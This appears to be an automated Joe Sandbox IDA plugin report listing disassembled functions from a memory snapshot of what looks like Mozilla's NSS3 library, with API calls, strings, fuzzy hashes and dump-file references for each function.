Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memset
String ID: @z[l
API String ID: 2221118986-4269654859
Opcode ID: 17114a4d40a32cb68f1f02b0b21285b1a362cc475f5bb45b7b675272739318bf
Instruction ID: 38b8b7e6559b7cacf9cde7a94170000596285912054c175e7a06cc82b410f5cf
Opcode Fuzzy Hash: 17114a4d40a32cb68f1f02b0b21285b1a362cc475f5bb45b7b675272739318bf
Instruction Fuzzy Hash: 1951F671A057829FC704CF65C5946AABBF0BF59308B24969DC8884BB02D335F596CBE2

Function 6C5A6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5A6D36

Strings

%s at line %d of [%.10s], xrefs: 6C5A6D2F
database corruption, xrefs: 6C5A6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5A6D20

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: d105ddda4909f73599c7ce8f16b0925b8e0b9874f505d72944fbde5d01f79e0b
Instruction ID: 02db027499483308bcc82d64f5186c256d5f7b9d2660033e45cc99154425964a
Opcode Fuzzy Hash: d105ddda4909f73599c7ce8f16b0925b8e0b9874f505d72944fbde5d01f79e0b
Instruction Fuzzy Hash: 6A21E030604705DBC710CE6ACC41B5EB7E6AF84348F14892CD84A9BF51EB71F94AC7A2

Function 6C682FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+hl,6C6832C2,<+hl,00000000,00000000,?), ref: 6C682FDA

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C68300B

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C68302A

Part of subcall function 6C670840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6708B4

Part of subcall function 6C65C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C65C45D
Part of subcall function 6C65C3D0: TlsGetValue.KERNEL32 ref: 6C65C494
Part of subcall function 6C65C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C65C4A9
Part of subcall function 6C65C3D0: PR_Unlock.NSS3(?), ref: 6C65C4F4

Strings

<+hl, xrefs: 6C682FD0

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+hl
API String ID: 2538134263-1182924248
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: ff6fb6b7f6c22e405bcad03c8fecf1a2a01dc2b4cea31fdca86dc00daee5521e
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 1211E7B6B012086BDB008E64DC00A9B77D9AB857A8F184234F91CD7780E772ED15C7B5

Function 6C6DCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6DCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6DCC7B), ref: 6C6DCD7A
Part of subcall function 6C6DCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6DCD8E
Part of subcall function 6C6DCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6DCDA5
Part of subcall function 6C6DCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6DCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C6DCCB5
memcpy.VCRUNTIME140(6C7714F4,6C7702AC,00000090), ref: 6C6DCCD3
memcpy.VCRUNTIME140(6C771588,6C7702AC,00000090), ref: 6C6DCD2B

Part of subcall function 6C5F9AC0: socket.WSOCK32(?,00000017,6C5F99BE), ref: 6C5F9AE6
Part of subcall function 6C5F9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C5F99BE), ref: 6C5F9AFC

Part of subcall function 6C600590: closesocket.WSOCK32(6C5F9A8F,?,?,6C5F9A8F,00000000), ref: 6C600597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C6DCCB0

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 699588c56f50d267ad02bd7459574cf80e3ed23b034d37ae03e1b1be73dacf22
Instruction ID: 257153d39d786f4bdd0830c9eb185fb5a195c53900627563b48cc4eba8a938b6
Opcode Fuzzy Hash: 699588c56f50d267ad02bd7459574cf80e3ed23b034d37ae03e1b1be73dacf22
Instruction Fuzzy Hash: BA11B4F1B0026C6FDB159F699E2BB423BAC9346218F141039E51ECBB41E735D4148BF5

Function 6C59A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6C6CA480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C6EC3A2,?,?,00000000,00000000), ref: 6C6CA528
Part of subcall function 6C6CA480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6CA6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C59A94F

Strings

%s at line %d of [%.10s], xrefs: 6C59A948
database corruption, xrefs: 6C59A943
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C59A939

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: c07cd25025791bed144040f098a864174d4fc00e492be64aa40060ec693e0858
Instruction ID: a6465fe402318f0314b371084d7d425f1dd0b287514119f43d6fc1622add6b2e
Opcode Fuzzy Hash: c07cd25025791bed144040f098a864174d4fc00e492be64aa40060ec693e0858
Instruction Fuzzy Hash: 67012631F00208ABC710CA7ADD01B9BB3F5AB85308F458879E9499BA41EB31AD0887A5

Function 6C628850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C630715), ref: 6C628859
PR_NewLock.NSS3 ref: 6C628874

Part of subcall function 6C6D98D0: calloc.MOZGLUE(00000001,00000084,6C600936,00000001,?,6C60102C), ref: 6C6D98E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C62888D

Strings

NSS, xrefs: 6C628887

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 2a1ab85e45873a8080ef3bdaa133ac472bd682adf3d7b6fd1a5ff45c788c4caf
Instruction ID: 482045fc878b185e1e878f8cc5767cb6d2e0bc54ea24574e4d9dff6a5994b80d
Opcode Fuzzy Hash: 2a1ab85e45873a8080ef3bdaa133ac472bd682adf3d7b6fd1a5ff45c788c4caf
Instruction Fuzzy Hash: 80F0C263E4122023E31021696C06F8664889F5675EF044032E908E6BC2EA49A51886FE

Function 6C6BA890 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,?,6C6A5F25,?,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6BA8A3

Part of subcall function 6C65ADC0: TlsGetValue.KERNEL32(?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE10
Part of subcall function 6C65ADC0: EnterCriticalSection.KERNEL32(?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE24
Part of subcall function 6C65ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C63D079,00000000,00000001), ref: 6C65AE5A
Part of subcall function 6C65ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE6F
Part of subcall function 6C65ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE7F
Part of subcall function 6C65ADC0: TlsGetValue.KERNEL32(?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEB1
Part of subcall function 6C65ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEC9

PK11_FreeSymKey.NSS3(?,00000000,?,6C6A5F25,?,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6BA8BA
SECITEM_ZfreeItem_Util.NSS3(%_jl,00000000,00000000,?,6C6A5F25,?,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6BA8CF

Strings

%_jl, xrefs: 6C6BA894, 6C6BA8CE

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValue$Item_UnlockUtilZfreefreememset
String ID: %_jl
API String ID: 2877228265-173950915
Opcode ID: e2ac7088c4f3c6c5d6e00d86c4cdde55a6fa2eba921f224b02df759c96360345
Instruction ID: c10a81026f0edf3937413703ccc4015b55cef0e26dce24b9d77ff60afaac33b2
Opcode Fuzzy Hash: e2ac7088c4f3c6c5d6e00d86c4cdde55a6fa2eba921f224b02df759c96360345
Instruction Fuzzy Hash: C4F0E5B2E0171497EA10AA16EC00BA773DCAB0175DF548478DC1AA7F02F331F8258BE9

Function 6C60C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6C60CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C60CB4B
sqlite3_free.NSS3 ref: 6C60CB70
sqlite3_result_error_nomem.NSS3 ref: 6C60CB99

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: a095411bcef858fe10d765c9cc06dd3e3be94f4aa8b78af5f97a441a0228f603
Instruction ID: 6aafbbcd8b86aea044cee0a4e1f46f701d9a7becab324d195e1febb61a797295
Opcode Fuzzy Hash: a095411bcef858fe10d765c9cc06dd3e3be94f4aa8b78af5f97a441a0228f603
Instruction Fuzzy Hash: CA51E332608B49DAC705EF35C54116BB7F0FF86798F108A0DE8D66A550EB349889C76B

Function 6C6D4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5B85D2,00000000,?,?), ref: 6C6D4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6D500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6D50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6D50D6

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 0821ea0a7a225af0def6a1a0733e63a9145b1ae4fa89a8e13c299b869652997f
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 584182B2A002158BCB18CF19DCD179AB7E1FF4431871D466DD84ACBB02E379E891CB95

Function 6C660420 Relevance: 6.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000,?,6C64C97F,?,?,?), ref: 6C6604BF
TlsGetValue.KERNEL32(00000000,?,6C64C97F,?,?,?), ref: 6C6604F4
EnterCriticalSection.KERNEL32(?,?,?,6C64C97F,?,?,?), ref: 6C66050D
PR_Unlock.NSS3(?,?,?,?,6C64C97F,?,?,?), ref: 6C660556

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Alloc_CriticalEnterSectionUnlockUtilValue
String ID:
API String ID: 349578545-0
Opcode ID: 1340828cfaa8b2e004208bf16676d43cf2cd6403280fd581c18ed52845957d98
Instruction ID: 6ad50f7fe326a572cfccfdfd1ea28602b6b6c6e94975a32e227835e9c6625c35
Opcode Fuzzy Hash: 1340828cfaa8b2e004208bf16676d43cf2cd6403280fd581c18ed52845957d98
Instruction Fuzzy Hash: 4B416CB4A05652DFDB14DF2AC580669BBF0FF48318F24857DD8998BB01E730E891CB89

Function 6C72A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C72A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C72A662), ref: 6C72A69E
Part of subcall function 6C72A690: PR_NewCondVar.NSS3(?), ref: 6C72A6B4

PR_IntervalNow.NSS3 ref: 6C72A8C6
EnterCriticalSection.KERNEL32(?), ref: 6C72A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C72A944
PR_SetPollableEvent.NSS3(?), ref: 6C72A94F

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 6c94202cbe66f72e6ec6c4b9bc53ef5c2d959033c78d803dd5a5c58bfe3005b4
Instruction ID: 7e7212790cb5143ab403b171ca40df3a5d00ec9fd22a0839ea3d005c05e3cc94
Opcode Fuzzy Hash: 6c94202cbe66f72e6ec6c4b9bc53ef5c2d959033c78d803dd5a5c58bfe3005b4
Instruction Fuzzy Hash: A24127B4A01A02DFC704CF2AC680956FBF5FF48328725856AE989CBB11E731E850CF90

Function 6C616C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C616C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C616CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C616CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C738FE0), ref: 6C616CFE

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 6d9db5effac0bd34e103b05cdab31915356861af50c50afaac4088b674d31242
Instruction ID: 1a0448d208684bcd8c77b5f45b27ef2677daa82a5121c93aa8b18bcd60222970
Opcode Fuzzy Hash: 6d9db5effac0bd34e103b05cdab31915356861af50c50afaac4088b674d31242
Instruction Fuzzy Hash: A8318EB5A042169FEB08CF69C891ABFBBF5EF45249B10442DD905E7B00EB31D905CBA4

Function 6C724F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C724F5D
free.MOZGLUE(?), ref: 6C724F74
free.MOZGLUE(?), ref: 6C724F82
GetLastError.KERNEL32 ref: 6C724F90

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: d9a1982240a130fe4494e2fe123952e2be9e6e6ff191d3973775ce40229c10cc
Instruction ID: 1b28b15658010b2eb483aab84404018084a30bb15a8d0c0b8898a860dde6ef2c
Opcode Fuzzy Hash: d9a1982240a130fe4494e2fe123952e2be9e6e6ff191d3973775ce40229c10cc
Instruction Fuzzy Hash: 7B312875A003195BEF11CB69DD85BDFB3B8FF85358F080239EC15A7781D738A90586A1

Function 6C682880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6C682896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6C682932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C68294C
free.MOZGLUE(?), ref: 6C682955

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: b1c22ee5c25cf97f1f9a0ff062aa039a160bc3c9cfa7bdcdea49555e92fdbc29
Instruction ID: be8268e9976273732b2832ff8ac653fcd9d61e545972c0577b138c0c5d931cea
Opcode Fuzzy Hash: b1c22ee5c25cf97f1f9a0ff062aa039a160bc3c9cfa7bdcdea49555e92fdbc29
Instruction Fuzzy Hash: C221A4B66016009BEB208B27DC09F5777E9EF85358F050538E45D87B61FB71E4188769

Function 6C6DAAA2 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C770D9C,00000000), ref: 6C6DAAD4
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C770DA8,00000000), ref: 6C6DAAE3

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
